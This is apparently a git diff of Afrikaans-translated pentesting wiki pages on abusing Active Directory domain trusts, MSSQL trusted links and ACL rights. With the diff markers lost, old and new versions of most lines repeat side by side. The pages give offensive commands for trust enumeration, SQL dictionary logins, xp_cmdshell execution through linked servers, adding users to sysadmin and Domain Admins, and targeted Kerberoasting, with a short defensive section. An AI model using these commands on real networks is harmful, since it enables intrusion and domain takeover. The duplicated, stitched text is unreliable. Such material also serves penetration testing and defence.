In 'n tipiese scenario, as 'n gebruiker 'n diens in 'n **vertroude domein** wil toegang, moet hulle eers 'n spesiale teken wat bekend staan as 'n **inter-realm TGT** van hul eie domein se DC aan vra. Hierdie TGT is versleuteld met 'n gedeelde **sleutel** wat beide domeine ooreengekom het. Die gebruiker bied dan hierdie TGT aan die **DC van die vertroude domein** aan om 'n diens teken (**TGS**) te verkry. Na suksesvolle validasie van die inter-realm TGT deur die vertroude domein se DC, stel dit 'n TGS uit, wat die gebruiker toegang tot die diens verleen.
In 'n tipiese scenario, as 'n gebruiker 'n diens in 'n **vertroude domein** wil benader, moet hulle eers 'n spesiale kaart aan vra wat bekend staan as 'n **inter-realm TGT** van hul eie domein se DC. Hierdie TGT is versleuteld met 'n gedeelde **sleutel** wat albei domeine ooreengekom het. Die gebruiker bied dan hierdie TGT aan die **DC van die vertroude domein** aan om 'n dienskaart (**TGS**) te verkry. Na suksesvolle validasie van die inter-realm TGT deur die vertroude domein se DC, stel dit 'n TGS uit, wat die gebruiker toegang tot die diens verleen.
**Stappe**:
1. 'n **klient rekenaar** in **Domein 1** begin die proses deur sy **NTLM hash** te gebruik om 'n **Teken Toekenning Teken (TGT)** van sy **Domein Beheerder (DC1)** aan te vra.
1. 'n **klient rekenaar** in **Domein 1** begin die proses deur sy **NTLM hash** te gebruik om 'n **Ticket Granting Ticket (TGT)** van sy **Domein Beheerder (DC1)** aan te vra.
2. DC1 stel 'n nuwe TGT uit as die klient suksesvol geverifieer word.
3. Die klient vra dan 'n **inter-realm TGT** van DC1 aan, wat nodig is om toegang tot hulpbronne in **Domein 2** te verkry.
4. Die inter-realm TGT is versleuteld met 'n **vertrouensleutel** wat tussen DC1 en DC2 as deel van die twee-rigting domein vertroue gedeel word.
5. Die klient neem die inter-realm TGT na **Domein 2 se Domein Beheerder (DC2)**.
6. DC2 verifieer die inter-realm TGT met sy gedeelde vertrouensleutel en, indien geldig, stel 'n **Teken Toekenning Diens (TGS)** uit vir die bediener in Domein 2 wat die klient wil toegang.
6. DC2 verifieer die inter-realm TGT met sy gedeelde vertrouensleutel en, as dit geldig is, stel 'n **Ticket Granting Service (TGS)** uit vir die bediener in Domein 2 wat die klient wil benader.
7. Laastens bied die klient hierdie TGS aan die bediener aan, wat versleuteld is met die bediener se rekening hash, om toegang tot die diens in Domein 2 te verkry.
### Verskillende vertroue
Dit is belangrik om op te let dat **'n vertroue 1 rigting of 2 rigtings kan wees**. In die 2 rigtings opsies, sal beide domeine mekaar vertrou, maar in die **1 rigting** vertrouensverhouding sal een van die domeine die **vertroude** en die ander die **vertrouende** domein wees. In die laaste geval, **sal jy slegs in staat wees om toegang tot hulpbronne binne die vertrouende domein van die vertroude een te verkry**.
Dit is belangrik om op te let dat **'n vertroue 1 rigting of 2 rigtings kan wees**. In die 2 rigtings opsies, sal albei domeine mekaar vertrou, maar in die **1 rigting** vertrouensverhouding sal een van die domeine die **vertroude** en die ander die **vertrouende** domein wees. In die laaste geval, **sal jy slegs in staat wees om toegang tot hulpbronne binne die vertrouende domein van die vertroude een te verkry**.
As Domein A Domein B vertrou, is A die vertrouende domein en B is die vertroude een. Boonop, in **Domein A**, sal dit 'n **Uitgaande vertroue** wees; en in **Domein B**, sal dit 'n **Inkomende vertroue** wees.
As Domein A Domein B vertrou, is A die vertrouende domein en B die vertroude een. Boonop, in **Domein A**, sal dit 'n **Uitgaande vertroue** wees; en in **Domein B**, sal dit 'n **Inkomende vertroue** wees.
**Verskillende vertrouende verhoudings**
- **Ouers-Kind Vertroue**: Dit is 'n algemene opstelling binne dieselfde bos, waar 'n kinderdomein outomaties 'n twee-rigting transitive vertroue met sy ouerdomein het. Essensieel beteken dit dat autentisering versoeke naatloos tussen die ouer en die kind kan vloei.
- **Kruiskoppel Vertroue**: Genoem "kortpad vertroue," hierdie word tussen kinderdomeine gevestig om verwysingsprosesse te versnel. In komplekse bosse moet autentisering verwysings tipies tot die boswortel reis en dan af na die teiken domein. Deur kruiskoppels te skep, word die reis verkort, wat veral voordelig is in geografies verspreide omgewings.
- **Buitelandse Vertroue**: Hierdie word tussen verskillende, nie-verwante domeine opgestel en is nie-transitief van aard. Volgens [Microsoft se dokumentasie](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), is buitelandse vertroue nuttig om toegang tot hulpbronne in 'n domein buite die huidige bos te verkry wat nie met 'n bosvertroue verbind is nie. Sekuriteit word versterk deur SID filtrering met buitelandse vertroue.
- **Boomwortel Vertroue**: Hierdie vertroue word outomaties gevestig tussen die bosworteldomein en 'n nuut bygevoegde boomwortel. Alhoewel dit nie algemeen teëgekom word nie, is boomwortel vertroue belangrik om nuwe domein bome aan 'n bos toe te voeg, wat hulle in staat stel om 'n unieke domeinnaam te handhaaf en twee-rigting transitiwiteit te verseker. Meer inligting kan in [Microsoft se gids](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) gevind word.
- **Kruiskoppel Vertroue**: Genoem "kortpad vertroue," hierdie word tussen kinderdomeine gevestig om verwysingsprosesse te versnel. In komplekse bosse moet autentisering verwysings tipies tot by die boswortel reis en dan af na die teikendomein. Deur kruiskoppels te skep, word die reis verkort, wat veral voordelig is in geografies verspreide omgewings.
- **Buitelandse Vertroue**: Hierdie word tussen verskillende, nie-verwante domeine opgestel en is nie-transitief van aard. Volgens [Microsoft se dokumentasie](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), is buitelandse vertroue nuttig om toegang tot hulpbronne in 'n domein buite die huidige bos te verkry wat nie deur 'n bosvertroue gekoppel is nie. Sekuriteit word versterk deur SID filtrering met buitelandse vertroue.
- **Boomwortel Vertroue**: Hierdie vertroue word outomaties gevestig tussen die bosworteldomein en 'n nuut bygevoegde boomwortel. Alhoewel dit nie algemeen teëgekom word nie, is boomwortel vertroue belangrik vir die toevoeging van nuwe domeinbome aan 'n bos, wat hulle in staat stel om 'n unieke domeinnaam te handhaaf en twee-rigting transitiwiteit te verseker. Meer inligting kan in [Microsoft se gids](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) gevind word.
- **Bos Vertroue**: Hierdie tipe vertroue is 'n twee-rigting transitive vertroue tussen twee bosworteldomeine, wat ook SID filtrering afdwing om sekuriteitsmaatreëls te verbeter.
- **MIT Vertroue**: Hierdie vertroue word gevestig met nie-Windows, [RFC4120-kompatible](https://tools.ietf.org/html/rfc4120) Kerberos domeine. MIT vertroue is 'n bietjie meer gespesialiseerd en dien omgewings wat integrasie met Kerberos-gebaseerde stelsels buite die Windows-ekosisteem vereis.
- **MIT Vertroue**: Hierdie vertroue word gevestig met nie-Windows, [RFC4120-kompatible](https://tools.ietf.org/html/rfc4120) Kerberos domeine. MIT vertroue is 'n bietjie meer gespesialiseerd en dien om omgewings te ondersteun wat integrasie met Kerberos-gebaseerde stelsels buite die Windows-ekosisteem vereis.
#### Ander verskille in **vertrouende verhoudings**
- 'n Vertrouensverhouding kan ook **transitief** wees (A vertrou B, B vertrou C, dan A vertrou C) of **nie-transitief**.
- 'n Vertrouensverhouding kan ook **transitief** wees (A vertrou B, B vertrou C, dan A vertrou C) of **nie-transitief** wees.
- 'n Vertrouensverhouding kan as **bidireksionele vertroue** (albei vertrou mekaar) of as **een-rigting vertroue** (slegs een van hulle vertrou die ander) opgestel word.
### Aanvalspad
1. **Enumerate** die vertrouende verhoudings
2. Kyk of enige **sekuriteitsprinsipaal** (gebruiker/groep/rekenaar) **toegang** tot hulpbronne van die **ander domein** het, dalk deur ACE inskrywings of deur in groepe van die ander domein te wees. Soek na **verhoudings oor domeine** (die vertroue is waarskynlik hiervoor geskep).
2. Kyk of enige **sekuriteitsbeginsel** (gebruiker/groep/rekenaar) **toegang** tot hulpbronne van die **ander domein** het, dalk deur ACE inskrywings of deur in groepe van die ander domein te wees. Soek na **verhoudings oor domeine** (die vertroue is waarskynlik hiervoor geskep).
1. kerberoast in hierdie geval kan 'n ander opsie wees.
3. **Kompromitteer** die **rekeninge** wat deur domeine kan **pivot**.
Aanvallers kan toegang tot hulpbronne in 'n ander domein verkry deur drie primêre meganismes:
- **Plaaslike Groep Lidmaatskap**: Prinsipale mag by plaaslike groepe op masjiene gevoeg word, soos die “Administrateurs” groep op 'n bediener, wat hulle beduidende beheer oor daardie masjien verleen.
- **Buitelandse Domein Groep Lidmaatskap**: Prinsipale kan ook lede van groepe binne die buitelandse domein wees. Die doeltreffendheid van hierdie metode hang egter af van die aard van die vertroue en die omvang van die groep.
- **Toegang Beheer Lyste (ACLs)**: Prinsipale mag in 'n **ACL** gespesifiseer word, veral as entiteite in **ACEs** binne 'n **DACL**, wat hulle toegang tot spesifieke hulpbronne bied. Vir diegene wat die meganika van ACLs, DACLs, en ACEs verder wil verken, is die witpapier getiteld “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” 'n onskatbare hulpbron.
- **Plaaslike Groep Lidmaatskap**: Beginsels mag by plaaslike groepe op masjiene gevoeg word, soos die “Administrators” groep op 'n bediener, wat hulle beduidende beheer oor daardie masjien verleen.
- **Buitelandse Domein Groep Lidmaatskap**: Beginsels kan ook lede van groepe binne die buitelandse domein wees. Die doeltreffendheid van hierdie metode hang egter af van die aard van die vertroue en die omvang van die groep.
- **Toegangsbeheerlyste (ACLs)**: Beginsels mag in 'n **ACL** gespesifiseer word, veral as entiteite in **ACEs** binne 'n **DACL**, wat hulle toegang tot spesifieke hulpbronne bied. Vir diegene wat die meganika van ACLs, DACLs, en ACEs verder wil verken, is die witpapier getiteld “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” 'n onontbeerlike hulpbron.
### Kind-naar-Ouder bos voorreg verhoog
### Vind eksterne gebruikers/groepe met bevoegdhede
Jy kan **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** nagaan om buitelandse sekuriteitsbeginsels in die domein te vind. Hierdie sal gebruikers/groepe van **'n eksterne domein/bos** wees.
Jy kan dit in **Bloodhound** of met powerview nagaan:
```powershell
# Get users that are i groups outside of the current domain
Get-DomainForeignUser
# Get groups inside a domain with users our
Get-DomainForeignGroupMember
```
### Kind-naar-Ouder woud voorregte eskalasie
```bash
# Fro powerview
Get-DomainTrust
SourceName : sub.domain.local --> current domain
@ -565,6 +581,18 @@ TrustDirection : Bidirectional --> Trust direction (2ways in this case)
WhenCreated : 2/19/2021 1:28:00 PM
WhenChanged : 2/19/2021 1:28:00 PM
```
Ander maniere om domein vertroue te tel:
```bash
# Get DCs
nltest /dsgetdc:<DOMAIN>
# Get all domain trusts
nltest /domain_trusts /all_trusts /v
# Get all trust of a domain
nltest /dclist:sub.domain.local
nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
```
> [!WARNING]
> Daar is **2 vertroude sleutels**, een vir _Child --> Parent_ en 'n ander een vir _Parent_ --> _Child_.\
> Jy kan die een wat deur die huidige domein gebruik word, met:
@ -576,7 +604,7 @@ WhenChanged : 2/19/2021 1:28:00 PM
#### SID-History Injection
Verhoog as Enterprise admin na die child/parent domein deur die vertroue met SID-History-inspuiting te misbruik:
Verhoog as Enterprise admin na die kind/ouer domein deur die vertroue met SID-History-inspuiting te misbruik:
{{#ref}}
sid-history-injection.md
@ -584,19 +612,19 @@ sid-history-injection.md
#### Exploit writeable Configuration NC
Om te verstaan hoe die Configuration Naming Context (NC) misbruik kan word, is van kardinale belang. Die Configuration NC dien as 'n sentrale berging vir konfigurasie data oor 'n woud in Active Directory (AD) omgewings. Hierdie data word na elke Domain Controller (DC) binne die woud gerepliceer, met skryfbare DC's wat 'n skryfbare kopie van die Configuration NC handhaaf. Om dit te misbruik, moet 'n mens **SYSTEM regte op 'n DC** hê, verkieslik 'n child DC.
Om te verstaan hoe die Configuration Naming Context (NC) misbruik kan word, is van kardinale belang. Die Configuration NC dien as 'n sentrale berging vir konfigurasie data oor 'n woud in Active Directory (AD) omgewings. Hierdie data word na elke Domeinbeheerder (DC) binne die woud gerepliceer, met skryfbare DC's wat 'n skryfbare kopie van die Configuration NC handhaaf. Om dit te misbruik, moet 'n mens **SYSTEM regte op 'n DC** hê, verkieslik 'n kind DC.
**Link GPO aan wortel DC webwerf**
Die Configuration NC se Sites-container sluit inligting in oor alle domein-verbonden rekenaars se webwerwe binne die AD-woud. Deur met SYSTEM regte op enige DC te werk, kan aanvallers GPO's aan die wortel DC-webwerwe koppel. Hierdie aksie kan die worteldomein potensieel in gevaar stel deur beleid wat op hierdie webwerwe toegepas word, te manipuleer.
Die Configuration NC se Sites hou inligting oor alle domein-verbonden rekenaars se webwerwe binne die AD woud. Deur met SYSTEM regte op enige DC te werk, kan aanvallers GPO's aan die wortel DC webwerwe koppel. Hierdie aksie kan die worteldomein potensieel in gevaar stel deur beleid wat op hierdie webwerwe toegepas word, te manipuleer.
Vir diepgaande inligting kan 'n mens navorsing oor [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) verken.
**Kompromitteer enige gMSA in die woud**
'n Aanvalsvector behels die teiken van bevoorregte gMSA's binne die domein. Die KDS Root-sleutel, wat noodsaaklik is vir die berekening van gMSA se wagwoorde, word binne die Configuration NC gestoor. Met SYSTEM regte op enige DC is dit moontlik om toegang tot die KDS Root-sleutel te verkry en die wagwoorde vir enige gMSA oor die woud te bereken.
'n Aanvalsvector behels die teiken van bevoorregte gMSA's binne die domein. Die KDS Root sleutel, wat noodsaaklik is vir die berekening van gMSA se wagwoorde, word binne die Configuration NC gestoor. Met SYSTEM regte op enige DC, is dit moontlik om toegang tot die KDS Root sleutel te verkry en die wagwoorde vir enige gMSA oor die woud te bereken.
Gedetailleerde ontleding kan gevind word in die bespreking oor [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
Gedetailleerde analise kan gevind word in die bespreking oor [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
**Schema change attack**
@ -606,12 +634,12 @@ Verder leeswerk is beskikbaar oor [Schema Change Trust Attacks](https://improsec
**From DA to EA with ADCS ESC5**
Die ADCS ESC5 kwesbaarheid teiken beheer oor Public Key Infrastructure (PKI) objekte om 'n sertifikaat sjabloon te skep wat autentisering as enige gebruiker binne die woud moontlik maak. Aangesien PKI-objekte in die Configuration NC woon, stel die kompromittering van 'n skryfbare child DC die uitvoering van ESC5-aanvalle in staat.
Die ADCS ESC5 kwesbaarheid teiken beheer oor Public Key Infrastructure (PKI) objekten om 'n sertifikaat sjabloon te skep wat autentisering as enige gebruiker binne die woud moontlik maak. Aangesien PKI objekten in die Configuration NC woon, stel die kompromittering van 'n skryfbare kind DC die uitvoering van ESC5-aanvalle in staat.
Meer besonderhede hieroor kan gelees word in [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). In scenario's waar ADCS ontbreek, het die aanvaller die vermoë om die nodige komponente op te stel, soos bespreek in [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
### External Forest Domain - One-Way (Inbound) or bidirectional
```powershell
```bash
Get-DomainTrust
SourceName : a.domain.local --> Current domain
TargetName : domain.external --> Destination domain
@ -628,7 +656,7 @@ external-forest-domain-oneway-inbound.md
{{#endref}}
### Eksterne Woud Domein - Eenrigting (Uitgaande)
```powershell
```bash
Get-DomainTrust -Domain current.local
SourceName : current.local --> Current domain
@ -641,7 +669,7 @@ WhenChanged : 2/19/2021 10:15:24 PM
```
In hierdie scenario **jou domein** is **vertrou** op sommige **privileges** aan 'n hoof van 'n **ander domeine**.
E however, wanneer 'n **domein vertrou** word deur die vertrouende domein, skep die vertroude domein **n gebruiker** met 'n **voorspelbare naam** wat as **wagwoord die vertroude wagwoord** gebruik. Dit beteken dat dit moontlik is om **toegang te verkry tot 'n gebruiker van die vertrouende domein om binne die vertroude een te kom** om dit te evalueer en te probeer om meer privileges te verhoog:
Echter, wanneer 'n **domein vertrou** word deur die vertrouende domein, skep die vertroude domein **n gebruiker** met 'n **voorspelbare naam** wat as **wagwoord die vertroude wagwoord** gebruik. Dit beteken dat dit moontlik is om **toegang te verkry tot 'n gebruiker van die vertrouende domein om binne die vertroude een te kom** om dit te evalueer en te probeer om meer privileges te verhoog:
{{#ref}}
external-forest-domain-one-way-outbound.md
@ -656,7 +684,7 @@ Boonop, as die **slagoffer sy hardeskyf gemonteer het**, kan die aanvaller **ter
rdp-sessions-abuse.md
{{#endref}}
### Domeinvertrou misbruik mitigering
### Mitigering van domeinvertrou misbruik
### **SID Filtrering:**
@ -665,7 +693,7 @@ rdp-sessions-abuse.md
### **Selektiewe Verifikasie:**
- Vir inter-woudvertroue, waarborg die gebruik van Selektiewe Verifikasie dat gebruikers van die twee woude nie outomaties geverifieer word nie. In plaas daarvan is eksplisiete toestemmings nodig vir gebruikers om toegang te verkry tot domeine en bedieners binne die vertrouende domein of woud.
- Vir inter-woudvertroue, verseker die gebruik van Selektiewe Verifikasie dat gebruikers van die twee woude nie outomaties geverifieer word nie. In plaas daarvan is eksplisiete toestemmings nodig vir gebruikers om toegang te verkry tot domeine en bedieners binne die vertrouende domein of woud.
- Dit is belangrik om te noem dat hierdie maatreëls nie beskerm teen die uitbuiting van die skryfbare Konfigurasie Naam Konteks (NC) of aanvalle op die vertrou rekening nie.
[**Meer inligting oor domeinvertroue in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
@ -688,14 +716,14 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
### **Implementering van Misleidingstegnieke**
- Implementering van misleiding behels die opstelling van lokvalle, soos lokgebruikers of rekenaars, met kenmerke soos wagwoorde wat nie verval nie of as Vertrou vir Delegasie gemerk is. 'n Gedetailleerde benadering sluit in om gebruikers met spesifieke regte te skep of hulle aan hoëprivilege groepe toe te voeg.
- Die implementering van misleiding behels die opstelling van lokvalle, soos lokgebruikers of rekenaars, met funksies soos wagwoorde wat nie verval nie of as Vertrou vir Delegasie gemerk is. 'n Gedetailleerde benadering sluit die skep van gebruikers met spesifieke regte of die toevoeging daarvan aan hoëprivilege groepe in.
- 'n Praktiese voorbeeld behels die gebruik van gereedskap soos: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- Meer oor die implementering van misleidingstegnieke kan gevind word by [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception).
### **Identifisering van Misleiding**
- **Vir Gebruikerobjekte**: Verdagte aanduiders sluit ongewone ObjectSID, ongewone aanmeldings, skeppingsdatums, en lae slegte wagwoord tellings in.
- **Algemene Aanduiders**: Vergelyking van eienskappe van potensiële lokobjekte met dié van werklike kan inkonsekwensies onthul. Gereedskap soos [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) kan help om sulke misleidings te identifiseer.
- **Algemene Aanduiders**: Die vergelyking van eienskappe van potensiële lokobjekte met dié van werklike kan inkonsekwensies onthul. Gereedskap soos [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) kan help om sulke misleidings te identifiseer.
### **Om Ontdekkingsisteme te Omseil**

View File

@ -91,11 +91,11 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
### Powershell
Die powershell-module [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) is baie nuttig in hierdie geval.
```powershell
```bash
Import-Module .\PowerupSQL.psd1
````
### Opname vanaf die netwerk sonder domeinsessie
```powershell
```bash
# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo
@ -109,7 +109,7 @@ Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP Verbose Threads
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
```
### Opname van binne die domein
```powershell
```bash
# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo
@ -118,6 +118,12 @@ Get-SQLInstanceLocal | Get-SQLServerInfo
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose
# Try dictionary attack to login
Invoke-SQLAuditWeakLoginPw
# Search SPNs of common software and try the default creds
Get-SQLServerDefaultLoginPw
#Test connections with each one
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose
@ -130,11 +136,23 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" }
## MSSQL Basiese Misbruik
### Toegang tot DB
```powershell
```bash
# List databases
Get-SQLInstanceDomain | Get-SQLDatabase
# List tables in a DB you can read
Get-SQLInstanceDomain | Get-SQLTable -DatabaseName DBName
# List columns in a table
Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName DBName -TableName TableName
# Get some sample data from a column in a table (columns username & passwor din the example)
Get-SQLInstanceDomain | GetSQLColumnSampleData -Keywords "username,password" -Verbose -SampleSize 10
#Perform a SQL query
Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"
#Dump an instance (a lotof CVSs generated in current dir)
#Dump an instance (a lot of CVSs generated in current dir)
Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"
# Search keywords in columns trying to access the MSSQL DBs
@ -143,8 +161,8 @@ Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" }
```
### MSSQL RCE
Dit mag ook moontlik wees om **opdragte** binne die MSSQL gasheer uit te voer.
```powershell
Dit mag ook moontlik wees om **opdragte** binne die MSSQL-gasheer uit te voer.
```bash
Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
```
@ -156,14 +174,14 @@ Kontroleer in die bladsy genoem in die **volgende afdeling hoe om dit handmatig
../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/
{{#endref}}
## MSSQL Vertroude Skakels
## MSSQL Betroubare Skakels
As 'n MSSQL-instansie vertrou (databasis skakel) deur 'n ander MSSQL-instansie. As die gebruiker bevoegdhede oor die vertroude databasis het, sal hy in staat wees om **die vertrouensverhouding te gebruik om navrae ook in die ander instansie uit te voer**. Hierdie vertroue kan geketting word en op 'n sekere punt mag die gebruiker in staat wees om 'n verkeerd geconfigureerde databasis te vind waar hy opdragte kan uitvoer.
As 'n MSSQL-instansie betroubaar (databasis skakel) is deur 'n ander MSSQL-instansie. As die gebruiker bevoegdhede oor die betroubare databasis het, sal hy in staat wees om **die vertrouensverhouding te gebruik om navrae ook in die ander instansie uit te voer**. Hierdie vertroue kan geketting word en op 'n sekere punt mag die gebruiker in staat wees om 'n verkeerd geconfigureerde databasis te vind waar hy opdragte kan uitvoer.
**Die skakels tussen databasisse werk selfs oor woudvertroue.**
### Powershell Misbruik
```powershell
```bash
#Look for MSSQL links of an accessible instance
Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
@ -194,6 +212,12 @@ Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_c
## If you see the results of @@selectname, it worked
Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'
```
'n Ander soortgelyke hulpmiddel wat gebruik kan word, is [**https://github.com/lefayjey/SharpSQLPwn**](https://github.com/lefayjey/SharpSQLPwn):
```bash
SharpSQLPwn.exe /modules:LIC /linkedsql:<fqdn of SQL to exeecute cmd in> /cmd:whoami /impuser:sa
# Cobalt Strike
inject-assembly 4704 ../SharpCollection/SharpSQLPwn.exe /modules:LIC /linkedsql:<fqdn of SQL to exeecute cmd in> /cmd:whoami /impuser:sa
```
### Metasploit
Jy kan maklik vir vertroude skakels kyk met metasploit.
@ -206,11 +230,11 @@ Let wel dat metasploit slegs die `openquery()` funksie in MSSQL sal probeer misb
### Handmatig - Openquery()
Van **Linux** kan jy 'n MSSQL konsole-skal met **sqsh** en **mssqlclient.py** verkry.
Van **Linux** kan jy 'n MSSQL konsole skulp met **sqsh** en **mssqlclient.py** verkry.
Van **Windows** kan jy ook die skakels vind en opdragte handmatig uitvoer met 'n **MSSQL kliënt soos** [**HeidiSQL**](https://www.heidisql.com)
_Registrasie met Windows-verifikasie:_
_Registrasie met Windows-outeentifikasie:_
![](<../../images/image (808).png>)
@ -232,7 +256,7 @@ select * from openquery("dcorp-sql1", 'select * from master..sysservers')
![](<../../images/image (643).png>)
Jy kan hierdie betroubare skakelketting handmatig vir ewig voortset.
Jy kan hierdie vertroude skakelketting handmatig vir ewig voortset.
```sql
# First level RCE
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')
@ -254,7 +278,7 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
Die **MSSQL plaaslike gebruiker** het gewoonlik 'n spesiale tipe voorreg genaamd **`SeImpersonatePrivilege`**. Dit stel die rekening in staat om "n kliënt na verifikasie te verteenwoordig".
'n Strategie wat baie outeurs ontwikkel het, is om 'n SYSTEM-diens te dwing om te verifieer met 'n rogue of man-in-the-middle diens wat die aanvaller skep. Hierdie rogue diens kan dan die SYSTEM-diens verteenwoordig terwyl dit probeer om te verifieer.
'n Strategie wat baie outeurs ontwikkel het, is om 'n SYSTEM-diens te dwing om te verifieer by 'n rogue of man-in-the-middle diens wat die aanvaller skep. Hierdie rogue diens kan dan die SYSTEM-diens verteenwoordig terwyl dit probeer om te verifieer.
[SweetPotato](https://github.com/CCob/SweetPotato) het 'n versameling van hierdie verskillende tegnieke wat uitgevoer kan word via Beacon se `execute-assembly` opdrag.

View File

@ -6,61 +6,61 @@
## **GenericAll Regte op Gebruiker**
Hierdie voorreg verleen 'n aanvaller volle beheer oor 'n teiken gebruikersrekening. Sodra `GenericAll` regte bevestig is met die `Get-ObjectAcl` opdrag, kan 'n aanvaller:
Hierdie voorreg gee 'n aanvaller volle beheer oor 'n teiken gebruikersrekening. Sodra `GenericAll` regte bevestig is met die `Get-ObjectAcl` opdrag, kan 'n aanvaller:
- **Verander die Teiken se Wagwoord**: Met `net user <username> <password> /domain` kan die aanvaller die gebruiker se wagwoord reset.
- **Verander die Teiken se Wagwoord**: Met `net user <username> <password> /domain`, kan die aanvaller die gebruiker se wagwoord reset.
- **Teiken Kerberoasting**: Ken 'n SPN aan die gebruiker se rekening toe om dit kerberoastable te maak, en gebruik dan Rubeus en targetedKerberoast.py om die ticket-granting ticket (TGT) hashes te onttrek en te probeer kraak.
```powershell
```bash
Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
.\Rubeus.exe kerberoast /user:<username> /nowrap
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
```
- **Teiken ASREPRoasting**: Deaktiveer vooraf-sertifisering vir die gebruiker, wat hul rekening kwesbaar maak vir ASREPRoasting.
```powershell
- **Targeted ASREPRoasting**: Deaktiveer vooraf-sertifisering vir die gebruiker, wat hul rekening kwesbaar maak vir ASREPRoasting.
```bash
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
```
## **GenericAll Regte op Groep**
Hierdie voorreg laat 'n aanvaller toe om groep lidmaatskappe te manipuleer as hulle `GenericAll` regte op 'n groep soos `Domain Admins` het. Nadat die aanvaller die groep se onderskeidende naam met `Get-NetGroup` geïdentifiseer het, kan hulle:
- **Hulself by die Domain Admins Groep Voeg**: Dit kan gedoen word deur direkte opdragte of deur modules soos Active Directory of PowerSploit te gebruik.
```powershell
- **Hulself by die Domain Admins Groep Voeg**: Dit kan gedoen word deur direkte opdragte of deur gebruik te maak van modules soos Active Directory of PowerSploit.
```bash
net group "domain admins" spotless /add /domain
Add-ADGroupMember -Identity "domain admins" -Members spotless
Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
```
## **GenericAll / GenericWrite / Write on Computer/User**
Die hou van hierdie regte op 'n rekenaar objek of 'n gebruikersrekening stel in staat tot:
Die besit van hierdie voorregte op 'n rekenaarobjek of 'n gebruikersrekening stel in staat tot:
- **Kerberos Resource-based Constrained Delegation**: Maak dit moontlik om 'n rekenaar objek oor te neem.
- **Shadow Credentials**: Gebruik hierdie tegniek om 'n rekenaar of gebruikersrekening na te volg deur die regte te benut om skadu kredensiale te skep.
- **Kerberos Resource-based Constrained Delegation**: Maak dit moontlik om 'n rekenaarobjek oor te neem.
- **Shadow Credentials**: Gebruik hierdie tegniek om 'n rekenaar of gebruikersrekening na te boots deur die voorregte te benut om skadu-akkredite te skep.
## **WriteProperty on Group**
As 'n gebruiker `WriteProperty` regte op alle objekte vir 'n spesifieke groep (bv. `Domain Admins`) het, kan hulle:
- **Hulself by die Domain Admins Groep Voeg**: Bereikbaar deur `net user` en `Add-NetGroupUser` opdragte te kombineer, maak hierdie metode regte eskalasie binne die domein moontlik.
```powershell
- **Hulself by die Domain Admins Groep Voeg**: Bereikbaar deur `net user` en `Add-NetGroupUser` opdragte te kombineer, maak hierdie metode voorregte-eskalasie binne die domein moontlik.
```bash
net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
```
## **Self (Self-Membership) op Groep**
